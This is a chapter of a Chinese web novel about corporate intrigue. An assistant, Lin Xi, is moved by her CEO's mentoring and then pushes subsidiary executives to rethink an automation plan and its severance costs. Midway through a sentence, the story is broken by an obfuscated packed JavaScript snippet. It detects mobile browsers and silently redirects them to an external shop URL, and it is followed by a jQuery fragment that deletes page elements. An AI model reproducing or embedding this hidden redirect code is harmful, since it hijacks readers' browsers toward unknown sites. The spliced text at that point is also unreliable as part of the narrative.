213. 感动
    和谢墨一番谈话,林曦如闻黄钟大吕。想通之后,她打破了眼界和格局上的桎梏,又有了更深刻的认识和明悟。

    谢墨白端坐在办公桌后,神情温和。林曦看着他,思虑纷纷。过去,她最敬重的是路予教授,是沈师兄。

    这两个人,在某种程度上,承担了父亲和兄长的角色,对林曦的人生观塑造,起到了不可或缺的作用。而这两个人,都不约而同地、且心情复杂地提到过,谢家是大家族,底蕴深厚。

    林曦去过谢家的老宅。当时,她对所谓谢家底蕴的认识,还仅仅局限于深深的重门院宇,一丝不苟、摒弃凝神的下人,还有那隐隐窥见的森严规矩。

    但而今天听完谢墨白的一席点拨,让林曦彻底意识到。一个家族的底蕴,不只在于他们世世代代积攒下来的财富,而更在于这种代代相传的人生经验与智慧。

    生于大家族,从小就在父辈面前被耳提面命、耳濡目染。谢墨白不只是一个年轻的老板,这还是累世大族精心培养出来的继承人。

    他的眼界和格局,是许多人哪怕经过一辈子的磨练提升,都达不到的层次。如果从来不曾踏上山巅,又怎么能得到俯瞰群山林原野的感悟呢?

    所以,谢董能够放心地,让谢墨白直接担任ceo、接管国昌集团。能够放心地,让谢墨白去直面各位面服心不服的集团总裁。能够放心地,让谢墨白去逐一收服各个左右摇摆的下属。能够放心地让谢墨白去面对集团内外的种种风浪。

    而谢董是对的。

    郭正为了让工业板块能够获得额外分红,与其他众人争执不休。谢墨白评价他看重眼前的蝇头小利。

    与之相比,谢墨白却借着国昌集团的员工家庭保障计划,将整个A市乃至全国的各大家族、各大企业聚拢起来,成立慈善协会。

    他对待制造业的智能化升级,首先考虑升级带来的员工失业,会对社会造成何种冲击,从而要求提前探索解决路径。

    更何况,除了高人一等的眼界和格局,权术与心机,谋略与手段,机变与圆融,谢墨白也无一欠缺。周虞已经是年轻一辈的翘楚,但谢墨白的手腕依然让他深深忌惮。

    道与术兼备!

    收拾几个不听话的下属,打压那些难缠的竞争对手,争夺某些利润丰厚的优质项目。不要觉得这些有什么了不起。这些不过是小术而已。

    立身持正、紧守初心、慎终如始,带着集团驶向正确的航线,这才是大道。

    林曦面色动容。不仅仅是因为佩服谢墨白的格局,更感动于他对自己的用心。谢墨白作为集团CEO,把握集团的整个发展方向。他只需要一个善于执行的人,来做他的总助就足以了。

    自古以来,法不可轻传,谢墨白没有义务帮助自己提高见识。但是这些话,他还是对自己说了,还是用心的提点了自己。这份深沉和诚挚的情谊,她轻而易举地感受到了。

    林曦心情复杂,甚至语调带上了丝丝哽咽,声音飘忽地道:“小谢总,你为什么要对我说这些?”

    谢墨白见状,就知道林曦能够领悟自己的用心。付出被心仪之人看到、被她珍视,总是让人欣慰和愉悦的。

    他轻声道:“爸爸创建和执掌集团30年。现在轮到我来带领集团继续前行了。林曦,我需要你……的帮助。”

    “前路或有艰难困苦,或有风浪波折,我不愿意一个人踽踽独行、孤军奋战。”谢墨白的声音蕴含着深深地情感,“希望你能一直陪在我身边。”或许觉得这样说太直白,又补充了一句:“一起把集团发展好。”

    他的目光充满了挚诚:“林曦,今天我很高兴。不是因为你出色的工作,也不是因为集团一切进展顺利。而是因为你能够愿意说出自己的见解,又能够直接询问我的想法。”

    谢墨白嗓音轻柔,低低地道,“明珠易得,知己难求,千金难买两同心……”

    他看了林曦一眼。谢墨白的神情里带上了一丝脆弱和忧伤,“我们也好久没有像现在这样,一起说说话了。”

    谢墨白绝口不提林曦最近对他的回避,没有指责,只是带着几份心疼和体贴,看着她道:“最近,集团的工作太多了,一件事接着一件事。”

    “林曦,我知道,你很辛苦。我也同样身心俱疲,可我又不想、也不能让外人得知。可是,因为有你陪在我身边,我才能支撑下来。”

    林曦心中果然立刻充满了歉疚。自从在谢家老宅见过顾幼岚后,她就极力避免与谢墨白有工作之外的交集。平心而论,谢墨白并没有做错什么。

    她看着对面的男子,容颜清俊而瘦削,没有惯常待人的疏离和冷淡,双眉微簇,显得有些落寞,但神色温柔,充满了期待。

    林曦内心充满了挣扎,好一会儿,仍然低声许下承诺,“只要小谢总你需要,我一直都在的。”

    谢墨白的眉头一下子舒展开来,他的神情都仿佛明亮了许多,整个人洋溢着愉悦的情绪。含着笑意道:“最近一个人,我都没有心情煮茶。吃饭也是食不知味。这下总算知道什么叫做茶饭不思了。”

    他半开玩笑道,“林曦你一开金口,我可就不必再受这个苦了。”

    =======================

    和谢墨白恳谈之后,林曦彻底转变了工作的思路。她先让总裁办认真收集了相关资料。智能化改造先升级,国昌是先行者。但是太阳底下没有新鲜事。

    国昌过去一直持续扩大规模,基本上没有发生大规模辞退员工的先例。但很多企业在并购或重组时,也会发生遣散或者是安置员工的情况。

    因此,林曦重点研究其中的优秀案例和成功做法。同时,她还拜托路予教授和各位同门,帮忙收集资料。

    她带着总裁办学习研究,做足功课。越研究越发现,就像谢墨白所说的,事情并非不可为,甚至都未必一定要花大价钱,只要肯花心思探索,总是有办法的。

    这时,林曦才再度召集了一个讨论会,将国昌建材以及各相关部门,一并喊来讨论。她提前已经在心中思虑再三。

    无论是智能化升级改造,还是后续带来的冗余人员安排,国昌建材都是责任主体。后续的具体实施落实,也主要由他们来承担。

    谢墨白想要更加妥善的安置这些员工,这无疑是在给国昌建材上难度、上强度。可想而知建材的管理层,肯定不乐意。

    一味强压他们,不是最好的策略。因此,林曦特意请子公司,提前半小时到达会场,以便在讨论会欠,先做一个简单的沟通。她今天,就是要妥善解决这个问题,和建材方面统一思想认识。

    林曦也不废话,开口就道:“小谢总对于方案很不满意。”然后不出意料地发现,国昌建材的总裁孙国梁和副总裁面上出现了紧张之色。

    孙国梁不自觉身体前倾,连忙问道:“不知道,小谢总是对哪个方面不满意?”

    林曦神色严肃,干脆利落道:“所有方面!”她一上来,就在渲染紧张焦虑的氛围,给建材的两位老总,增加心理压力。

    她扬了扬手中的升级改造方案,按照提前想要的思路,有理有据地开始挑刺儿,“首先,关于技术引进和设备采购这一块,采购部是绕不过去的。”

    听到这里,孙国梁也忧虑地道:“之前关于设备采

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023940|125498||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    购这一块的资料,主要是子公司自行整理研究。”他为难地看着林曦道:“总助,您也知道,我们实在不敢在这个时候去劳烦采购部。人家也未必肯搭理我们。”

    众所周知,采购部是由郭正分管的。采购部主管胡高,更是郭正的心腹。后者的态度,直接决定着采购部的态度。

    林曦笑着说:“你们不要想太多,大家都是集团的一员,公事公办。”显然,这种场面话并不能安抚国昌建材等人。当然,林曦的目的也不在这里。

    她翻开手里的方案草稿,看了一眼上面的标注:“还有资金方面。”林曦抬头看着众人,“不用我说,你们也清楚,资金从来都是大问题。”

    国昌建材的副总裁吴自乐,恳切道:“我们这一版方案,其实已经在尽可能地压缩预算开支了。”

    现在在场的只有林曦等三人,很多话都可以放得开一些。于是,他试探着问:“或许……可以把技术部和国昌机电的研发立项资金,再往下压一压。这一个也不急于一时。”

    林曦一下子就笑了,她反问道:“两位总裁,大家打开天窗说亮话。你们觉得这份资金预算送上去,郭董和工业板块那边会答应吗?”

    二人皆是沉默不语。这是明摆着的事情。

    除了必要的开支,国昌工业和集团总部,或者说是郭正和邓一峰,都在极力压缩批给国昌建材的预算。当然,在这一点上也不能说他们的决定完全有错,只是说发展的重心不同。

    林曦见他们心中有数,这才笑着说:“你们建材进行智能化改造试点,技术部和国昌机电立项,进行研发公关。这两件事情捆绑在一起,说不定还有通过的可能。如果把你们的事情但拎出来……”

    她若有所指的道:“我敢说,集团内部的阻力会更大。”

    毕竟,国昌机电是工业板块的重要子公司,业绩一向不错,机电的总裁田勇,也深得邓一峰的信任。邓一峰着可是相当看重机电的业务。这变相等于,给工业板块吃点甜头,力求换他们松松手。

    而给技术部增加预算,他们的分管集团总裁何若琳,恐怕也是乐见其成。

    国昌建材两位老总一点即通,立马明白了林曦的言下之意,不敢再打这个主意。二人指着初步方案上的资金测算,小声讨论着,看哪一项还能再压缩。

    林曦也不打扰,端起茶杯慢慢喝茶。又过了一小会儿,两位总裁才停下讨论。但之前的资金测算,也是花费了大功夫来做,一时半会儿,还真看不出哪一项还能再往下压缩。

    他们不由得有些焦躁。

    这时,林曦才做出一副忧色,似关心地开口道:“我也是想了又想,”叹口气无奈道:“看还,是要在人员安置问题上下功夫。”

    她点着材料道:“按照现在的方案,遣散费可不在小数。”林曦这才把话题,往自己的目的上引导。

    国昌建材的两位老总,有些拿不定主意。副总裁吴自乐犹犹豫豫地道:“我们现在拟定的遣散费,是按照相关标准的上限,也就是参照平时工资的三倍发放。”

    他看着林曦的神色提醒,“人员遣散,本来就是一个大难题,极为敏感复杂。所以,我们才提出顶格发放遣散费,以便减轻实施难度。如果现在还要削减遣散费……”

    吴自乐吞吞吐吐道:“一个弄不好,是要出大乱子的,严重影响公司稳定。”

    再说,计划通过后,这一项工作的压力,可都在子公司身上。他们就算想极力压缩预算,提高方案通过的可能,也必须要为后续的实施考虑。

    林曦直接冷了脸,反问道:“这也不行,那也不行,那你们说怎么办?”